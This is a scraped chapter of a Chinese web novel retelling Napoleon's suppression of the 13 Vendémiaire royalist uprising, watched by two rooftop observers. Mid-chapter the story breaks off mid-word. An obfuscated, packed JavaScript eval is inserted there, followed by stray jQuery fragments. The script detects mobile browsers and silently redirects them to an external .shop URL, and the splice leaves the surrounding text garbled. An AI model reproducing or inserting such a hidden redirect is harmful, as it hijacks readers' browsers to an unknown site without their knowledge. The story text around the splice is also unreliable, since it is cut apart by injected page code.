文趣网 > 都市小说 > 拿破仑构史记 > 43.葡月十三
    幸运是站在我这边的——拿破仑.波拿巴

    命运是否只是个玩笑?

    拿破仑曾以为,自己只能在新政府成立之后才能迎来转机了,要么去君士坦丁堡,要么去意大利。但是,还没等舞台上的戏剧结束,陌生的军官在剧院找到他,说:“公民巴拉斯需要你。”

    他急急忙忙跟着军官去见巴拉斯。巴拉斯没作问候寒暄,简洁地告诉他:保王党人掀起叛乱,意欲包围国民议会修改宪法及撤回三分之二法令。原本被委托镇压的内防军团司令梅努将军面对暴徒优柔寡断,姑息纵容,所以他被撤职了,现在他是内防军团司令,拿破仑是副司令。

    “现在我手上大概有四千多兵力,有骑兵、步兵和掷弹兵,人员比较混杂。所以我从监狱调了一批军官作为补充指挥,现在你有什么计划?”

    这些军官才从监狱里放出来,还穿着监狱里的破衣烂衫,在灯光下列队,一脸茫然。

    拿破仑冷静下来:“敌人有多少?”

    “可能有两三万,甚至四万人左右,正在向杜伊勒里推进。”

    拿破仑沉默了一下:“我要炮。”

    “萨布隆营地有炮。”巴拉斯转向军官,“谁愿意去萨布隆营地把炮拉过来?”

    军官们骚动了一会,一个人大踏步走出来,向巴拉斯敬了个军礼:“我愿意!第21猎骑兵团上尉若阿基姆.缪拉,给我命令,将军,我保证能将萨布隆营地的炮一门不少地抢回来!”

    巴拉斯问:“你需要多少人?”

    “一百多骑兵就够了。”

    巴拉斯开始调派人手,组织了一百多骑兵,让缪拉带着骑兵立即出发。然后是针对临时军官和志愿兵的战前动员,他铿锵有力地挥舞手臂:“公民们!大革命已经到了最危险的时刻:保王党人纠集了上万的暴徒试图攻击国民公会,他们要撕碎共和国用鲜血换来的自由,要将路易卡佩的锁链重新套在我们的脖子上,告诉我,难道你们愿意再度跪下来亲吻贵族的靴子?共和国需要你们,粉碎保王党人的叛乱!让他们为野心付出代价!自由万岁!共和国万岁!”

    “他怎么没说平等万岁呢。”安托万蹲在屋顶上,听到临时军官配合巴拉斯呼喊“自由万岁”时就扑哧笑了,“笑死我了。”

    亚诺只担忧这一战的结果:“我们要帮他吗?”

    “几万人的大规模叛乱,就我们两个凑什么热闹呢,要不是你想看,我都懒得陪你熬夜。”安托万打个哈欠,“看吧看吧,一会就要天亮了。”

    巴拉斯统筹安排好各位临时军官负责指挥的单位,再介绍起拿破仑:“他是拿破仑.波拿巴,内防军团副司令,从现在起,一切镇压活动你们要听从他的指挥和安排,明白吗?!”

    “明白!”

    没有迟疑,拿破仑立刻开始着手布置兵力,当东方亮起灿烂的霞光时,缪拉带着炮回来了,四十余门大炮在拿破仑的指挥下安置在圣尼凯斯街、王储街、圣奥诺雷街、伏尔泰滨河路等关键街道口,保卫杜伊勒里宫及周边地带。拿破仑在各个炮点巡视大炮状态,亲自检查弹药数量,和军官士兵沟通。安托万对这些都不感兴趣,早早跳下去,再回来时给亚诺带了一个面包:“吃点早饭吧兄弟,我刚打听了下,对面保王党的将军还想着谈判呢。”

    亚诺啃一口面包:“谈判?”

    “对啊,上午估计是打不起来了。”安托万坐下来啃面包,“拿破仑有炮了,不知道保王党有没有,一会我们看看去?在巴黎街头大炮对轰,真刺激。”

    亚诺快速解决掉面包,率先出发去探查情况了。保王党人组织的叛变力量人数众多,火枪配备量也很可观,亚诺看来看去,跑了很大一片区域,的确没看到和拿破仑阵地里一样的加农炮,这让亚诺稍微放下心了。

    再返回塔上,安托万已经在吃午饭了,还带着一瓶红酒,看亚诺回来了热心分享:“回来啦,吃一口?!”

    亚诺接过食物:“你侦察的情况怎么样?”

    “保王党有些小炮,但是跟加农炮差太远了。如果拿破仑狠心一点,把保王党要进攻的街道全炸个稀巴烂,保王党基本没戏。”安托万晃着腿,“要起飞了!”

    亚诺沉默地吃了两口面包:“他说过不会参与内战。”

    “他还说了,他有自己的判断。”安托万指向保王党人阵营的方向,“为什么觉得他们是人民呢?他们不是叛徒、敌人吗?”

    前所未有的寒意涌上亚诺心头。如果这起暴乱又是一起牧月起义呢?拿破仑还会拒绝巴拉斯主动的任命吗?似乎思考这个假设并无意义,因为这次要面对的的确是保王党人,他们怀揣着毁□□和国的阴谋。

    可是……

    可是?

    下午四点左右,保王党人结束谈判的奢想,主动打响第一枪。拿破仑立刻下令开炮,葡萄弹在空气中摩擦出恐怖的尖啸,砸进蜂拥的叛乱人群中,炸裂的铅弹降下毁灭之雨,惨叫与横飞的鲜血在街道中回荡,混乱密集的枪声激起阵阵火药烟雾,安托万看了一会就觉得这场战斗没悬念了:“跟贝韦利一样无聊,亚诺,你想继续看?”

    “……我还想再看看。”

    “那我先回去睡觉啦~”安托万径直信仰之跃跳了下去。

    最开始的一波攻势的确被葡萄弹吓退了,之后保王党人又尝试发起新的攻势。枪声,炮弹,在狭窄的街道与新桥上断断续续炸响。

    战斗持续了好几个小时,保王党人的部队在街头丢下无数尸体,直到最后一波叛兵在圣罗什教堂前倒下,这场叛变终于落下尾声。

    “下雨了。”安托万用力吸了口湿润的空气,圣奥诺雷街的硝烟在西岱岛也隐约可闻,“亚诺那家伙要淋坏咯。”

    “喵。”阿拉斯很敷衍地喵了声。

    安托万揉揉阿拉斯脑袋,想着那家伙到底要看到什么时候,有炮和没炮的力量悬殊如此之大他难道想不明白吗?还是说单纯放心不下拿破仑?啧啧。

    他听到了来自屋顶轻盈的脚步声,在愈加磅礴的雨声中落地踩碎水花,烛光将亚诺的身影从夜幕中溶解出来,他湿淋淋地走进屋。安托万继续看漆黑城市里的雨:“古兹夫人给你准备了干净衣服,赶紧换上吧。”

    屋内壁炉还生了火,即便这个季节还不到要生壁炉取暖的时候,亚诺还是很感激,他脱下湿透的衣服,擦拭身体,在火光中温暖起来。

    “死了多少人?”

    “拿破仑这边伤亡很少。”亚诺解开发绳擦头发,“保王党那边就多了,估计有好几百。”

    “大胜啊,我都想象得到箴言报明天怎么吹的了。”

    “嗯哼。”

    亚诺换上干爽的衣服,“拿破仑怎么样?”

    “我没打扰他,不过他看上去应该挺开心的。”

    安托万戏谑的语气:“马上要升官了,换我我也开心。”

    亚诺换好衣服,坐下来凝视门外的大雨,明明室内很温暖,他却还是不自觉地打了个冷颤:“雨来得正是时候。”

    “刚好把街上的血冲洗干净。”

    阿拉斯好像被抱得不耐烦了,从安托万身上跳下来,用爪子给自己洗脸。亚诺盯着它的动作,思绪在雨声与壁炉火光中漂游。

    “对了,你昨天说的惊喜……不会就是巴拉斯派人来找拿破仑吧?”

    “真的只是个巧合。我们跟巴拉斯还没怎么接触过,不过拿破仑要是跟你有一样的想法就好了。”

    事到如今,亚诺也不想了解安托万最初决定给的“惊喜”是什么了,也许只是个有意思的恶作

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644358|205412||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    剧?熬了整整一天,他着实有点累了,沉沉的困意涌上来,闭上眼就进入梦乡。

    拿破仑已经迎来了命运的转折,从前什么逃避军令、请假病假、剥夺军衔、雅各宾分子帽子……统统不算问题了。国民公会盛赞他保卫了大革命,为他创下的功绩欢呼。巴拉斯忙于组建督政府,卸任内防军团总司令后把这个职位让给了他。他因此有了在旱金莲街的豪宅,有了崭新的漂亮马车,在歌剧院有了专属的预留座位,有了出入顶级权贵圈子沙龙宴会的资格,还有每年4.8万利弗尔的收入。那些破旧的衬衣和沾着泥点的老靴子早早扔进了垃圾堆,参与沙龙所缺乏的一切都不需要他操心,自然会有识趣的殷勤富商主动送上门来,拿破仑甚至不用再关心价格,巴拉斯为他争取的奖励足够偿付。他还要忙着给葡月十三的事变善后,组建新的警察队伍。

    “真是可喜可贺啊。”安托万将新一期的报纸依次放上报刊架,“拿破仑最近有没有来看你?”

    “来了。”亚诺回答,“那天是他的休息日,喝了个下午茶。”

    “感觉他胖了。”

    “那应该叫恢复,他本来很瘦的。”

    “对对对,他瘦的时候真不好看,现在吃多了就顺眼多了。嗯,报纸摆好了,亚诺,你来看看。”

    亚诺走过来看架上的新报纸,《箴言报》?不想看;《巴黎日报》?他拿下来看了会,无聊的陈词滥调;倾向保王党的《晚间信使报》居然还活着?《每日报》宣告要停刊了;嗯?《人民护民官报》?我订过吗?……噢,我的确订过这份。

    亚诺拿下《人民护民官报》,34期?雾月5日出来的。依稀记得在弗拉斯卡蒂咖啡馆读到的是32期,没想到隔了那么久才出来第34期。他好奇巴贝夫怎么评价葡月灾难的,简单看了下前面,翻到第16论部分。

    “勒佩勒捷区初级议会的保王党分子,在葡月灾难发生前寄送给各省和各军队的一份请愿书中说道:‘国民公会中存在着这样一类人,他们总是决定着多数票的归属,但他们既没有参与事件的精力,也没有正确评判事件所需的才干;当美德与对公益的热爱占据主导时,他们便听从美德的教导和公益的感召;而当罪恶与傲慢联手采取恐吓手段时,他们又会任由自己被罪恶与傲慢所压制。

    “除了在‘美德’、‘对公益的热爱’、‘傲慢’与‘罪恶’这些词的应用方式上有所不同外,我们过去和现在都同意勒佩勒捷区保王党分子的这一观点。

    “是的,正是因为公会中那群羊一样的多数派任由自己被傲慢与罪恶所影响和压制,才帮助挖出了那个可怕的深渊——自由的法兰西从热月九日之后就掉进这个深渊里,在里面苟延残喘、痛苦不堪。”

    “我在这里已经预感到:那些读者——他们或许会同情我未能更早进入“我们当前困境”的章节,也可能会抱怨我在某些事情上过早地打破沉默,而偏见尚未被充分动摇。对此,我回答这些人:在他们读到本期结尾时,便会承认,我这个长长的引言是必要的,要成就大事,就必须向所有人宣告伟大的真理。

    “有什么黑暗的画笔,能够用足够阴郁的色彩,描绘热月之后那令人悲叹的倒退?

    “从监狱走出来的阴谋家堂而皇之地坐上所有行政职位,把那些正直的民主派赶下台,送进巴士底狱去顶替他们的位置。这些自由之敌的屠杀人民的阴谋,竟被转化成了无关紧要甚至值得称颂的行为,或者其存在本身变得令人生疑。对部分帮凶的惩罚,被说成是对一大群无辜者的连环谋杀。

    “公众舆论被“自由”所腐蚀,这种自由被赋予给罪恶的鼓吹者,而宪法对新闻自由的保障,却成了正义与原则捍卫者的致命陷阱。”

    还是骂公会啊。亚诺合上报纸,放回报刊架。